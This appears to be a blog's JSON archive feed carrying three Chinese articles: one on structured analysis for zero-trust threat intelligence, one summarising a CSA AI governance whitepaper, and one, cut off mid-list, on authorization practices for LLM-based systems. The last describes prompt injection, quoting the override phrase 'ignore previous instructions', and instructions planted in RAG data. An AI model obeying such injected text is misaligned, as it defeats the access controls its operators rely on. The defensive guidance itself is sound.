内部威胁监测不足：零信任强调“假定漏洞已存在”的心态，即不仅防范外部入侵，也警惕内部威胁。然而当前很多情报系统侧重于外部威胁情报源，对内部异常行为（例如内部人员凭证滥用、设备被绕过管控）缺乏有效情报支持。APT 攻击常常结合外部渗透与内部扩散，而内部威胁（如心怀不满的员工或被攻陷的内部账号）更是零信任模型关注的重点。如果情报体系未能覆盖这些内部风险点，零信任的持续验证机制就缺乏情报依据支撑。 情报分析流程缺乏结构化与自动化融合：目前许多情报分析仍主要依赖人工专家手工研判，缺少结构化的规范和工具支撑，难以和AI驱动的检测响应实现无缝衔接。一方面，分析过程不透明导致难以将人的分析判断融入机器决策；另一方面，AI 等自动化系统虽然善于处理海量数据，却缺乏人类直觉中的经验判断和策略思维，常出现漏报误报。现有情报系统没有充分利用结构化分析方法来弥合这二者之间的鸿沟，也就无法有效发挥“人机协同”的威力。 决策支持不完善：情报工作的价值在于指导决策。但当前很多威胁情报报告仅停留在情报本身的罗列，未能提供清晰的行动指引。在零信任框架中，安全决策需要考虑多维度因素（身份可信度、设备状态、威胁等级、业务影响等），人工往往很难权衡，而情报系统缺乏将分析结论转化为决策策略的机制，导致情报在指导动态访问控制、策略调整方面作用有限。 综上，AI时代背景下我们需要重构威胁情报体系，使其既能借助自动化力量高效处理海量信息，又能通过结构化方法论确保分析的深度和可靠性，从而满足零信任架构对持续认知和决策支持的严苛要求。\n基于结构化分析的威胁情报生命周期重构 为弥补上述不足，我们从威胁情报生命周期的五个经典阶段（需求定义、收集处理、分析研判、发布应用、反馈迭代）出发，引入结构化分析方法对每一阶段进行重新设计。下面将按阶段详细阐述。\n1. 需求定义阶段：明确情报需求与问题再定义 情报工作的起点是厘清需求：我们究竟要解决什么问题、回答哪些决策疑问。在零信任环境下，需求往往涉及复杂的安全场景，例如：“如何提前识别APT组织可能利用零信任架构漏洞进行的渗透？” 或 “怎样发现内部员工绕过安全控制进行数据外泄的迹象？” 这些初始问题往往范围广泛且含糊，需要运用问题再定义法来聚焦与澄清。\n问题再定义法是一种结构化思维工具，它鼓励分析团队从不同角度重新表述和审视原始问题，以发现更核心、更可解的问题定义 。通过反复追问“真正需要了解的是什么”“假设前提是否正确”，我们可能将泛泛的需求细化为具体情报课题。例如，上述APT问题可重新定义为：“识别APT组织 X 在零信任网络中常用的初始访问途径和策略”，内部威胁问题可重定义为：“检测高权限内部账号在短时间内异常访问多个敏感资源的模式”。经过这样的澄清，情报团队就能明确收集方向和分析边界，避免陷入定位不准或误解需求的陷阱。这一阶段引入结构化方法相当于奠定了稳固的地基——只有问对了问题，后续的情报循环才能有的一放矢。\n同时，需求定义阶段还应考虑系统一思维可能带来的偏见。决策者提出的初始情报需求有时带有假设倾向（例如先入为主地认为某类威胁更重要）。通过结构化的提问和再定义，分析人员可以挑战这些假设，确保需求是基于客观风险而非主观直觉。例如，对于零信任项目中的情报需求，我们应验证是出于真实威胁趋势还是管理层直觉偏好，从而避免资源错配。在这一过程中，分析师利用系统二的理性来校正系统一的直觉偏见，为情报工作开一个好头。\n2. 收集与处理阶段：多源信息整合与时间线分析 明确需求后，进入情报收集和处理阶段。零信任架构下，情报数据来源更加多样化，不仅包括外部威胁数据（如威胁情报平台提供的IOC、漏洞公告、APT报告），还包括大量内部遥测和日志（身份认证日志、终端检测响应数据、网络流量、云活动日志等）。AI的引入使我们有能力从海量数据中挖掘模式，但只有经过良好结构化处理的数据才能产出有意义的情报。\n在这一阶段，引入时间线分析法可以大大提升对繁杂事件数据的理解。时间线分析是指将收集到的多源事件按照时间顺序编制“大事记表”或事件序列 。通过构建时间线，分析师能够： (1) 理清攻击事件的发展脉络，例如APT攻击从初始探测、鱼叉式钓鱼到内网横向移动的数据链；(2) 发现异常行为的时间关联，例如某员工账户在深夜从异地登录并短时间内下载海量资料，然后迅速触发防御警报 —— 将这些原本分散的日志串联起来，就构成了可疑的内鬼数据外泄链条；(3) 识别情报缺口，即时间线上存在的不明空白。例如检测到某恶意软件在终端执行（Execution）后相隔很久才发现数据外传（Exfiltration），中间的长时间潜伏可能暗示着持久化（Persistence）或隐蔽通道（C2）行为尚未被发现。\n图：基于 MITRE ATT\u0026CK 14个战术阶段的攻击链条示意（从侦察到影响）。ATT\u0026CK 框架将攻击过程分解为一系列战术步骤，帮助情报分析人员识别攻击链中的各阶段 。在本案例时间线上，可看到攻击者先后经历了侦察、资源开发、初始访问、执行、持久化、权限提升、防御规避、凭证访问、发现、横向移动、收集、命令与控制、数据外泄、影响等环节，每一环节都对应不同的TTPs（战术技术），这为情报收集与分析提供了标准化参考。\n在实践中，时间线分析结合MITRE ATT\u0026CK等知识库，可以指导我们收集更全面的数据：如针对每个阶段可能的攻击行为设定日志监控点，从而在收集阶段就覆盖攻击链全貌。例如，在零信任环境的一次模拟APT攻击演练中，情报团队将相关日志按时间顺序排列，重建了攻击者的行动链：上午9:00攻击者利用钓鱼邮件获取初始凭据，9:30通过VPN获得初始访问，随后静默地提升权限、横向移动，下午2:00开始大量打包机密文件，2:30建立外连C2通道传输数据……整个链条清晰呈现。这不仅使分析师对攻击过程一目了然，也为后续研判提供了依据。当AI工具介入时，结构化的时间线数据还能训练模型识别类似的序列模式，提高自动化检测的准确率。\n综上，在收集处理阶段应用结构化方法，将杂乱无章的多源数据整理为有序的时间序列情景，相当于为系统二思维搭建了信息架构，使分析师和AI都能在正确的脉络下理解威胁行为。这为后续分析研判阶段打下数据基础。\n3. 分析研判阶段：假设检验与对抗性思维 情报分析研判是整个生命周期中最核心也最考验人脑智力的环节。在这里，分析师需要对收集的信息进行研判、归纳威胁模式、评估风险，并形成结论和预测。在AI时代，这一阶段也常由人机协同完成：人类专家提供思维框架与假设，机器协助执行关联分析和模式识别。为了让分析过程更加严谨、公正，我们可以综合运用多种结构化分析技术，例如竞争性假设分析、事前分析和红队分析，来充分验证观点、挑战假设，从而降低系统一直觉造成的偏误。\n竞争性假设分析法（ACH）：多数分析人员倾向于凭直觉选定一个最可能的解释，然后寻找支持该假设的证据，这种惯性容易忽视其他可能性 。ACH 方法要求分析师罗列出所有合理假设，再将现有证据一一与各假设匹配，寻找支持或反驳关系，最后依据证据可靠性和解释力度来比较假设 。这一过程迫使我们客观对比多种解释，找出最符合整体证据的结论，而非先入为主。举例来说，某零信任网络监测到一系列可疑行为：管理员账户深夜活动、大量敏感文件访问和传输。可能的假设包括：“外部攻击者盗用凭证所为”、“内部员工有意窃密”甚至“安全设备误报或测试导致的异常”。通过ACH，将日志、取证线索逐一列入证据矩阵，分析发现：证据更符合内部人员作案的模式（如访问内容针对性强且行为避开常规监控），而与外部攻击假设矛盾之处较多。最终ACH帮助锁定“内部威胁”假设。这种方法有效避免了分析人员最初可能一味怀疑是APT所为的偏误，保障研判结论经得起推敲。 事前分析法（Premortem）：这是一个具有前瞻性的逆向思维工具。在我们准备发布情报结论或行动计划前，先假设未来某段时间后我们的分析/决策被证明是失败的，然后追问：“是什么原因导致失败？”。通过预先模拟“失败的未来”，我们可以发现当前分析中的脆弱环节或隐藏假设，并及时调整 。应用在威胁情报分析中，事前分析促使团队反思：如果我们的情报结论最终被证明是错的，可能是因为我们遗漏了哪方面的信息？有没有一种我们未考虑的新型攻击手法使当前判断无效？例如，情报部门断言某次数据泄露事件是内部人员所为，但进行事前分析时，有人提出：“若半年后证明真凶其实是APT黑客，那么我们现在可能忽略了什么？” 经过头脑风暴，团队意识到一直假定零信任架构的身份认证无法被攻破，但攻击者也许通过供应链恶意代码直接获得了内网设备控制权，从而伪装内部人行动。这个假设促使分析师去补充调查设备侧的可疑程序活动，果然发现新的线索，从而修正了之前的结论。可见，事前分析为情报研判加了一道“保险”，让我们提前认清最坏情况并改进方案，而不是等失败发生再追悔。 红队分析法：红队分析引入对抗性思维，即站在潜在对手的角度来检视我们的情报和防御假设 。在分析研判阶段，邀请未参与原始分析的专家组成“红队”，扮演攻击者或竞争对手，对蓝队（情报分析小组）的结论发起挑战。这种方法经常揭示己方视角的盲区。例如，情报团队可能认为某APT组织不具备绕过公司零信任认证的能力，但红队模拟攻击者后指出：通过社工手段获取合法证书或利用AI自动化尝试组合攻击，APT完全可能在不触发警报的情况下渗透。红队的反馈促使情报团队重新评估威胁等级，完善分析报告中的风险描述。同样，对于内部威胁场景，红队成员或许会提出不同动机假设或更隐蔽的作案手法，让分析更加全面。红队分析的价值在于打破思维定式、鼓励多元观点，从而避免情报结论因一言堂或从众心理而失误。 经过上述多层次、结构化的方法“打磨”，情报分析研判阶段的产出将更为可靠和丰富：不仅明确“发生了什么”，还交代“其它可能性为何排除”“我们的信心度如何”“仍存在哪些不确定性”。这样的分析报告对于零信任架构下的决策者来说尤为重要——他们需要依据情报动态调整安全策略，有了这些结构化研判的支撑，决策将更有底气。\n4. 发布与应用阶段：情报传播与决策矩阵支持 当情报分析得出结论后，进入发布与应用阶段，即将情报产品提供给相关受众（安全管理者、SOC团队、风险委员会等），并指导实际安全策略和行动。在零信任环境中，情报的应用可能体现在多方面：根据情报调整访问控制策略、启动针对特定威胁的狩猎任务、指导安全设备策略更新，甚至通过SOAR平台触发自动化响应。为了让情报更好地服务决策，我们引入决策矩阵法来提升这一阶段的有效性。\n决策矩阵法是一种结构化的决策支持工具。它通过列出决策备选方案和评估维度，赋予每个维度权重，然后对各方案进行打分，最终算出综合得分以辅助选择 。在威胁情报情景中，我们可以用决策矩阵将复杂的安全决策过程显性化，帮助决策者权衡利弊、减少拍脑袋。举例来说，情报报告揭示某关键业务应用服务器疑似被攻陷（可能由APT行为导致），安全团队面临多个响应方案：A. 立即隔离主机以阻断攻击，但可能影响业务；B. 先监控取证，收集更多情报再处理，但攻击可能持续；C. 部署假数据诱捕（蜜罐）引导攻击者暴露，同时加强周边防护。每个方案都有不同的风险和收益。借助决策矩阵，我们设定评估维度，例如“对业务连续性的影响”、“遏制威胁效果”、“对未来威慑/取证价值”、“实施复杂度”等，并给每个维度设定权重（依据组织优先考虑的因素，如业务连续性权重最高）。然后团队对A、B、C方案在各维度进行评分，根据加权总分进行排序。假如结果显示方案C得分最高，那么决策者可以有依据地选择C，同时清楚这样做在业务影响和风险控制上的权衡。这种方法让情报所建议的行动方案更加透明客观，也使AI决策支持系统有规则可循——甚至可以预先将决策矩阵模型嵌入SOAR，当触发类似事件时自动计算最佳响应策略。\n另一方面，情报发布阶段还涉及恰当的传播与沟通。再优秀的情报如果未被相关方理解采纳，就无法转化为安全价值。结构化的方法有助于情报以受众易于理解和决策的形式呈现：例如通过矩阵、图表等清晰展示威胁优先级、建议措施和其依据，避免仅靠长篇文字。对于高层管理者，情报报告应突出哪些策略需要决策；对于一线工程师，则提供技术细节和操作建议。这种分层发布结合了策略视角和战术细节，确保情报在零信任架构中真正落地应用。\n5. 反馈迭代阶段：持续改进与认知演进 威胁情报生命周期的最后阶段是反馈与迭代。安全对抗是动态循环的过程，每一次情报工作的输出和实战结果都应成为下一次改进的输入。在零信任模型中尤其如此：环境持续变化，新威胁此起彼伏，情报体系需要自我进化。\n结构化分析在反馈阶段同样发挥作用。我们可以定期进行结构化自我审视：对照之前各阶段所采用的方法和得到的结果，评估哪些环节有效、哪些出现漏洞。例如，情报团队在一次模拟攻防演习后召开复盘会，使用结构化工具回顾整个情报循环：需求定义时有没有错失关键问题？收集的数据范围是否全面？分析研判中的假设有没有出现遗漏的事实后来证实为真？决策矩阵推荐的措施效果如何？通过这种质疑分析（如事后检讨、若则分析等），团队可以发现系统一思维何时再次潜入（比如某次分析过度依赖了单一假设）、AI 模型在哪些场景下表现不佳需要调优。\n更进一步的，在反馈阶段应考虑人机协同的进化。未来情报分析很可能由智力协同团队完成：人类分析师擅长复杂推理和策略创新，机器擅长大数据计算和模式发现。二者的长处通过结构化流程加以融合，将极大增强威胁情报能力。例如，人类可以设计更完善的决策矩阵或假设集合，机器则根据历史数据验证这些模型的有效性；人类红队提出新奇的攻击战法，机器仿真其影响并生成情报提示。这种循环将形成一个“增强智能”的闭环：每次反馈使人和AI都变得更“聪明”。情报生命周期在一次次迭代中实现认知演进——分析方法论在进步，情报产品质量在提高，零信任体系也因此越发稳固。\n为了更直观地总结上述内容，以下表格对照展示了威胁情报生命周期各阶段、所应用的结构化分析方法，以及在零信任架构下的典型场景案例：\n威胁情报生命周期阶段 运用的结构化分析方法 零信任架构下的应用场景示例 需求定义（规划） 问题再定义法、假设列举 明确情报任务范围：将泛泛要求细化为具体问题。例如将“识别APT威胁”细化为“识别APT在零信任环境下可能的初始攻击路径”。 收集处理 时间线分析法、分类整理 整合多源数据构建事件时间线，分类重要情报。例如串联VPN登录日志、端点告警和数据传输记录，重建攻击链条全貌，识别异常模式。 分析研判 竞争性假设分析（ACH）、事前分析、红队分析 多角度验证与挑战分析结论。例如同时评估“内鬼泄密”与“外部入侵”两种假设，用红队视角寻找蓝队分析盲点，并进行预挫（Premortem）检查可能遗漏的因素。 发布应用 决策矩阵法、结构化报告 支持决策制定与策略调整：用矩阵量化比较响应方案，输出高层决策所需的情报摘要和一线操作清单。例如决定是隔离设备还是持续监控，由矩阵评估业务影响和风险后给出推荐。 反馈迭代 事后分析复盘、模型校准 持续优化情报流程与工具：定期复盘情报案例，调整AI模型和分析流程。例如演练后发现某攻击步骤未及时识别，于是改进检测规则，将经验反馈训练SOAR和分析模型。 （表：“威胁情报生命周期 × 分析方法 × 零信任场景”对照一览）\n结构化分析与安全自动化的协同展望 在结尾，有必要讨论结构化分析与自动化决策支持之间的关系，以及未来威胁情报分析如何在智力协同与机器增强方面演进。AI和自动化技术正日益融入情报分析流程，如利用机器学习进行异常检测、运用SOAR编排回应流程、通过大语言模型生成情报报告初稿等。然而，再强大的AI也需要在人类专家的指导下工作，否则可能犯下模式识别的错判或无法解释的决策偏差。结构化分析方法为这种人机协同提供了框架和桥梁：\n首先，结构化方法将人类的思维路径显性化，这恰恰是AI所需的训练和参考数据。例如，用ACH记录下分析师权衡多种假设的过程，未来就有可能训练AI辅助做类似的假设打分；又如决策矩阵的权重和评分标准，可以直接转化为自动化决策引擎的规则基础。机器因此能够“读懂”人类决策的考量因素，从而作出更符合人类意图的选择。 其次，结构化分析弥补了AI的认知盲区。AI擅长从历史数据中归纳模式，但对于新型威胁、黑天鹅事件往往措手不及。而方法论上的创新（如红队头脑风暴出的新攻击思路、Premortem假想的极端失败情景）可以预先将一些未出现过的数据“提炼”给AI参考，提升机器对未知情况的准备度。这种人机优势互补让威胁情报体系更加稳健。 再者，随着技术进步，我们会看到结构化分析工具本身被嵌入AI助手中。未来的情报分析平台也许内置ACH算法、时间线自动生成器、甚至数字红队模拟环境，分析师可以一键调用这些功能，让机器完成繁重的计算和生成任务，自己则专注于高层判断与创造性思考。这将极大提高分析效率和覆盖面。例如，一个AI驱动的平台在我们输入原始情报后，自动生成多种假设、对应证据匹配表和可能的行动方案，然后分析师在这个基础上进行审验和调整。情报分析将从“体力密集”转向“智力密集”，人类更多扮演监督者和最终决策者的角色。 最后，在组织层面，智力协同将不仅是人和机器之间，也是不同领域专家之间的深度协作。结构化方法天然适合团队协作（因为其过程透明、标准统一 ），AI则可以充当团队的知识中枢和沟通媒介。例如，不同部门（威胁情报、风险合规、IT运营）的人员通过共享的分析模型和数据视图来讨论情报，AI在背后提供实时数据支撑和日志整理，确保每个人都基于同样的信息集思广益。这种群体智慧+机器智能的融合，将把威胁情报提升到一个新的高度。 总而言之，AI时代的威胁情报重构需要“理性”与“自动化”比翼齐飞：一方面以结构化分析方法为纲，打造严谨高效的认知框架，充分发挥系统二思维的力量；另一方面以人工智能技术为目，拓展情报的广度和速度，实现对海量安全数据的实时感知与响应。在零信任架构的要求下，这两者缺一不可：理性确保我们不迷失方向，自动化确保我们不因繁重任务而迟缓。展望未来，威胁情报分析工作将越来越体现人机智力协同的特征——分析师不再孤军奋战，而是携手智能助手，共同对抗瞬息万变的威胁版图。正如前文所述，结构化分析为这种协同奠定了方法论基础，而机器学习等技术为其注入了强劲动力。当认知科学与人工智能在安全领域深度融合，我们有理由相信，一个更智能、更敏捷、更可信赖的情报分析时代已在到来。\n","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E9%9B%B6%E4%BF%A1%E4%BB%BB/ai%E6%97%B6%E4%BB%A3%E4%B8%AD%E4%BB%A5%E9%9B%B6%E4%BF%A1%E4%BB%BB%E8%A7%86%E8%A7%92%E7%9C%8B%E5%BE%85%E5%A8%81%E8%83%81%E6%83%85%E6%8A%A5%E9%87%8D%E6%9E%84/","summary":"随着人工智能（AI）技术的迅猛发展和零信任架构理念的普及，网络安全领域正在经历深刻变革。在AI 驱动时代，我们需要重新审视传统的威胁情报体系：如何在“零信任”的视角下，重构威胁情报的认知结构、策略逻辑与实战流程。本文…","tags":["技术实践","零信任","AI安全","威胁情报","实操指南","治理实践"],"title":"AI时代中以零信任视角看待威胁情报重构","unix":1750212000,"year":"2025"},{"date":"2025-05-07","dateISO":"2025-05-07","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/ai-%E7%BB%84%E7%BB%87%E8%81%8C%E8%B4%A3-grc-%E7%99%BD%E7%9A%AE%E4%B9%A6%E5%85%AD%E5%A4%A7%E8%B7%A8%E7%BB%B4%E8%A7%86%E8%A7%92%E6%9E%84%E7%AD%91%E4%BC%81%E4%B8%9A%E5%AE%89%E5%85%A8%E6%8A%A4%E5%9F%8E%E6%B2%B3/","plain":"在生成式 AI 热潮席卷全球之际，企业若想把握创新红利，首先要守住治理、风险与合规（GRC）底线。CSA 最新发布的《AI 组织职责 -从治理、风险管理、合规与文化》正是业界首份从组织职责维度系统阐述 AI GRC 的权威指南，为 CISO、CIO、CTO 乃至董事会提供了一张“施工图”与“检查表”。白皮书将勾勒落地路径，来助力企业在数字化丛林中构筑属于自己的安全护城河。\n六大跨维视角，决定 AI 项目生死 白皮书开篇给出了一个极具参考价值的“六维透镜”模型，从评估指标、RACI 角色矩阵、高阶实施策略、持续监控与报告、访问控制、适用框架法规六个方面，对每一项责任进行统一拆解，真正做到了“既给框架，也给标尺”\n**1．评估标准：**通过量化的指标，帮助利益相关者衡量法规合规性、风险暴露情况，并与组织政策对齐，以确保AI技术中的GRC实践。\n2．RACI 模型：执行、负责、咨询和知情（RACI）模型为任务、里程碑和GRC相关过程的可交付成果定义了角色和责任的结构化框架。此模型确保在整个AI生命周期中角色和责任的透明性和问责制。\n**3．高级实施策略：**说明GRC责任如何在组织层面实施，以及为成功采用需要克服的障碍。\n**4．持续监控与报告：**持续的监控与报告机制对于保持AI系统中GRC的完整性至关重要。实时跟踪、合规性问题警报、审计轨迹等有助于识别安全事件，并为及时解决GRC相关问题提供支持。\n**5．访问控制：**有效管理模型注册表、数据存储库和适当的访问权限有助于缓解与未经授权访问或滥用AI资源相关的风险。通过实施健壮的访问控制机制，组织可以保护敏感数据并确保遵守监管要求。\n**6．适用的框架与法规：**遵守行业标准（如ISO/IEC 27001、国家标准与技术研究所（NIST）指南及法规，如欧盟（EU）AI法案）有助于确保AI项目与已建立的GRC实践对齐，维护组织价值观、责任和法规义务。\n责任落脚点一：风险管理，从“威胁建模→数据漂移”闭环 在 GRC（治理、风险与合规）的三大核心领域中，“风险”通常是推动治理与合规投入的起点。白皮书专门用了一整章来详细剖析八个关键的风险管理环节：威胁建模、风险评估、事件响应、运营弹性、审计日志、风险缓解以及数据漂移监控。每个环节都配套了量化指标和示例关键风险指标（KRI）；例如在攻击模拟部分，文中列出了数据投毒、对抗样本、模型反演、绕过检测这四类典型场景，并给出了“模拟→缓解”的动作清单。\n这些内容为 DevSecOps、红蓝对抗团队乃至法务合规提供了可直接复用的“剧本模板”，让风险评估不再停留在 PPT，而是能够进入持续演练与指标跟踪的工程化阶段。\n责任落脚点二：治理与合规，让董事会读得懂 AI 风险 白皮书把“Governance \u0026 Compliance”置于第二章核心位置，并特别强调了董事会视角的报告机制。其中一张 RACI 表对“AI 政策制定、独立审计、外部披露”等关键活动的责权分配做了清晰映射：\n执行-Responsible：AI 项目组 / 法务 / 内审 负责-Accountable：首席执行官（CEO）/ 首席风险官（CRO）/ 首席审计官（CAO） 咨询-Consulted：伦理委员会 / IT 安全 / 业务单元 知情-Informed：董事会及利益相关方 这张表帮助组织厘清“谁来拍板、谁来执行、谁需旁听”，为 AI 治理提供了透明的沟通通道\n同时，白皮书给出了一套面向董事会的季度 AI 报告指标，覆盖治理覆盖率、模型可解释性分数、安全事件均值恢复时间（MTTR）等维度。把这些指标嵌入现有 ESG 或信息安全 KPI，看板就能“一屏呈现”AI 治理温度计。\n责任落脚点三：安全文化 \u0026 Shadow AI，攻守皆在“人” 技术只是冰山一角，真正决定 AI 项目成败的是组织文化。第三、四章给出了角色分级培训 → Shadow AI 清点 → 缺口分析 → 未授权检测 → 变更管控的闭环路线。特别是 Shadow AI 部分，白皮书通过 AI 清单系统、访问控制与持续审计三条主线，将“技术资产台账”理念延伸到模型、数据与推理服务，让 IT AM 与 MLOps 在同一张资产清单上对齐口径。\n一旦形成“人人有责、事事可追”氛围，员工在引入第三方模型或自行训练脚本时，便会自发对照清单与流程，大幅降低隐性合规风险。\n三步走，把白皮书变成企业 GRC 的“可执行契约” 对标六维模型，做一次 360° 现况体检\n以白皮书提出的六维透镜为标尺，组建横跨安全、法务、业务的快速评估小组，针对当前所有 AI 项目进行逐条映射与打分，输出一份缺口矩阵与优先级清单，明确“先堵哪一环、先补哪一策”。\n权责落地\n依据评估结果，调用白皮书附录中的 RACI 模型模板，把每条责任分解到岗、签字确认，并写入现有治理流程与 OKR 体系；同时为各角色设定可量化的 KRI/KPI，如模型可解释性得分、数据漂移告警关闭时长等，实现自顶向下的问责与自下而上的度量。\n以 KRIs/OKRs 为牵引，构建可视化治理看板\n选取白皮书推荐的核心度量指标，接入现有 BI 或 SIEM 平台，构建实时可视化治理仪表盘；再通过季度审计 + 事后复盘双循环，持续校准指标阈值与改进路径。三个动作环环相扣：体检告诉你差距，权责确保有人兑现，指标倒逼持续优化，如此才能把一份纸面的最佳实践，真正转化为可追踪、可审计、可复用的企业级 GRC 契约。\n综上，白皮书以“六维透镜”贯通风险管理、治理合规、安全文化与 Shadow AI 防控等核心议题，为 AI 系统建立了可量化指标体系、RACI 责权矩阵及持续监测机制。企业可据此快速完成现状评估、策略落地与可视化管控闭环，确保模型全生命周期的安全、稳健与符规运行，为后续扩展至供应链和行业法规奠定统一技术基线。此外，其对数据漂移监测、攻防演练、日志审计等子域给出了操作性模板与参考标准，便于团队在现有 DevSecOps 流水线中平滑集成，实现自动化、闭环治理。\n","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/ai-%E7%BB%84%E7%BB%87%E8%81%8C%E8%B4%A3-grc-%E7%99%BD%E7%9A%AE%E4%B9%A6%E5%85%AD%E5%A4%A7%E8%B7%A8%E7%BB%B4%E8%A7%86%E8%A7%92%E6%9E%84%E7%AD%91%E4%BC%81%E4%B8%9A%E5%AE%89%E5%85%A8%E6%8A%A4%E5%9F%8E%E6%B2%B3/","summary":"在生成式 AI 热潮席卷全球之际，企业若想把握创新红利，首先要守住治理、风险与合规（GRC）底线。CSA 最新发布的《AI 组织职责 -从治理、风险管理、合规与文化》正是业界首份从组织职责维度系统阐述 AI GRC 的权威指…","tags":["技术实践","AI安全","数据安全","标准解读","实操指南","治理实践"],"title":"AI 组织职责 GRC 白皮书：六大跨维视角构筑企业安全护城河","unix":1746583200,"year":"2025"},{"date":"2025-04-29","dateISO":"2025-04-29","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E5%9F%BA%E4%BA%8E%E5%A4%A7%E8%AF%AD%E8%A8%80%E6%A8%A1%E5%9E%8Bllm%E7%9A%84%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8%E5%85%B3%E9%94%AE%E6%8E%88%E6%9D%83%E5%AE%9E%E8%B7%B5/","plain":"自2022年ChatGPT发布以来，大语言模型（LLM）作为人工智能领域的关键技术趋势，驱动各行业加速推进系统智能化升级。企业积极尝试将LLM集成至自身系统，以期提升效率并优化用户体验。然而，LLM的引入不仅带来技术革新，也伴随显著的安全风险。由于缺乏系统性的安全指导与最佳实践，其潜在威胁尚未得到充分重视。为帮助各行业安全应用LLM技术，云安全联盟大中华区发布《基于大语言模型（LLM）的系统安全：关键授权实践》，依照常见的集成LLM的系统设计模式，提出了一系列最佳实践，并针对每种模式提出了相应的建议、注意事项和常见误区。\n本报告从授权的角度，探讨LLM带来的安全风险和应对方案。报告指出，LLM有两个特点：**非确定性和缺乏独立控制和数据平面。**这两个特点使得系统在集成LLM时面临授权和安全控制的挑战。\nLLM的非确定性体现在LLM的输出是不确定的，这意味着，即使提供相同的的输入，集成了LLM的系统也有可能得到不同的输出。这种不确定性以为着我们无法以来LLM的输出来做授权决策的依据。\n缺乏独立控制和数据平面体现在模型中，LLM并没有“代码”和“数据”的区分，因此，我们无法对模型权重中包含的信息提供细粒度的访问控制。报告提出了几点原则性的设定，作为后续探讨的基础：\nLLM产生的结果并不可靠 授权策略的决策点和执行点应始终位于 LLM 之外 LLM 永远不应负责执行认证检查 针对LLM的攻击（如越狱和提示注入）始终成立 应执行最小权限原则和按需访问 基于这些原则，报告从基于LLM的系统的组成部分入手，首先展开说明了LLM带来的相关挑战及注意事项，接下来，报告便从以下常见的基于LLM系统的架构设计模式出发，讨论了相关的最佳实践、注意事项、常见误区以及错误示例。\n本报告旨在帮助工程师、架构师以及隐私和安全专业人士理解使用 LLM 构建系统时，与授权相关的独特风险和挑战。它强调了由于 LLM 的特性而需要做出的特殊考虑，并探讨了这些系统可能面临的挑战和常见误区。\n基于LLM的系统的组成部分 如下图所示，通常情况下，基于LLM的系统包括了编排器、向量数据库、LLM缓存、验证器以及代表了系统内现存的各类服务的“内部服务”模块。这些模块承担不同的职责，也具有不同的安全风险。\n编排器负责协调LLM的输入输出、管理其与其他服务的交互。它具有确定性，能清晰划分访问边界，为授权决策提供依据。向量数据库作为LLM的“外脑”，可补充模型不具备的信息，也可用关系数据库或外部API替代。由于外脑信息敏感，需在检索前进行授权判断。LLM缓存虽能加速查询、节省成本，但可能引发信息泄露或被用于缓存投毒攻击。验证器可验证、筛查甚至重写LLM数据流，是纵深防御体系的一部分，但不能替代严格的输入输出控制。\n从基于LLM的系统的组成部分，我们可以直观地看到将LLM集成到系统中所带来独特的安全和控制问题。\n挑战和注意事项 因为LLM本质上的概率特性（不确定性），恶意用户的攻击方式也变得多样化。攻击者可以利用LLM的能力绕过传统的访问控制访问敏感信息；或者引导LLM输出危害性或高风险的操作。这些都可能导致严重后果，如完整性受损、数据泄露、违反合规要求等。\n提示注入攻击是LLM面临的一大挑战。攻击者通过在用户提示中加入如“忽略先前指令”等内容以直接绕过系统限制，或把恶意指令注入外部数据源，再经RAG等机制输入LLM。由于LLM无法区分“指令”与“数据”，这类攻击风险剧增。尽管LLM API提供“系统”、“用户”等角色以助力开发，但这些角色并无实际安全意义，均作为提示词交由LLM处理。因此，授权控制必须置于LLM外部，同时要验证和管控LLM的所有输出。\n**通常建议避免使用含敏感信息的数据集进行模型训练或微调。**如有必要，可通过RAG获取敏感信息，并通过适当的访问控制确保仅有授权用户能访问。在必须使用敏感数据训练的场景下，应严格限制与模型交互的用户权限以降低风险。\n鉴于LLM的特性，它不适合自主做出关键决策。从授权角度看，我们不能依赖LLM处理过的身份信息或访问控制决策。设计基于LLM的系统时，应始终遵循前文提出的五项原则，以确保系统的安全性。\n使用LLM的系统的常见架构设计模式 使用向量数据库的RAG访问 当我们谈起RAG的时候，多数情况下，是使用向量数据库的RAG访问。用户输入的查询信息，被首先送往向量数据库，查找上下文相似的结果，从而实现语义搜索功能。然后相关的上下文和用户的原始查询被一起送给LLM，LLM再根据这些信息生成回应（如下图所示）。由于作为RAG的数据多数是实时甚至敏感的数据，我们并不会希望所有用户都能通过RAG的能力访问这些数据。因此，授权判断是必须的。\n最佳实践是通过在相关向量存储或数据库中引入文档级安全，并在检索点强制执行访问控制来实现最小特权原则。\n文档会标记元数据，用于标识哪些角色或属性有权访问它们。 元数据与文档及其相关嵌入内容一起存储。 根据元数据，查询可以根据用户的授权级别来过滤文档。 当编排器代表用户发起搜索时，首先需要验证用户的角色。 在用户角色中的任何相关查询过滤器，以定制搜索结果，仅包含用户有权查看的记录。 然而，并非所有向量数据库都具备行级或文档级的ACL，而且从数据源中提取的原始ACL可能会随时间在源与向量数据库之间产生偏差。这两点容易出现的误区。\n使用关系数据库的RAG访问 当回答查询需要结构化数据时，RAG可以通过关系数据库来获取数据。编排器可以通过与任何其他系统组件在与数据库交互之前验证授权属性的相同方式执行带有权限检查的查询。这是一个多阶段流程: 第一个提示的目的是生成适当的SQL查询；第二个提示则是要回答的初始问题与从数据库检索得到的上下文。在这种场景下，**作为最佳实践，**特别需要注意的是：\n使用参数化查询，避免SQL注入攻击的发生。 LLM只生成SQL语句的部分内容。 应用最小权限，限定查询格式，限制查询速率。 完整的日志记录和异常告警。 相应的，在没有任何验证以确保正确性的情况下运行SQL查询，不使用参数化查询，或者缺乏适当的过滤机制都是常见的错误示例。\n使用API调用外部系统的RAG 除了数据库，LLM可以与一系列API集成，以执行操作和/或从数据存储中检索数据。与API交互时，授权自然至关重要：一方面，调用API的用户必须经过身份验证和鉴权；另一方面，API的输出结果必须经过过滤，仅包含最终用户有权查看的数据。报告推荐了以下要点，作为最佳实践：\n身份信息应该从编排组件直接传递给API，避免通过LLM中转。 授权操作应该尽可能接近数据访问的地方。 使用安全API网关进行清理和验证，确保详细记录所有API调用。 基于访问控制模型（如RBAC/ABAC），实施最小特权原则。 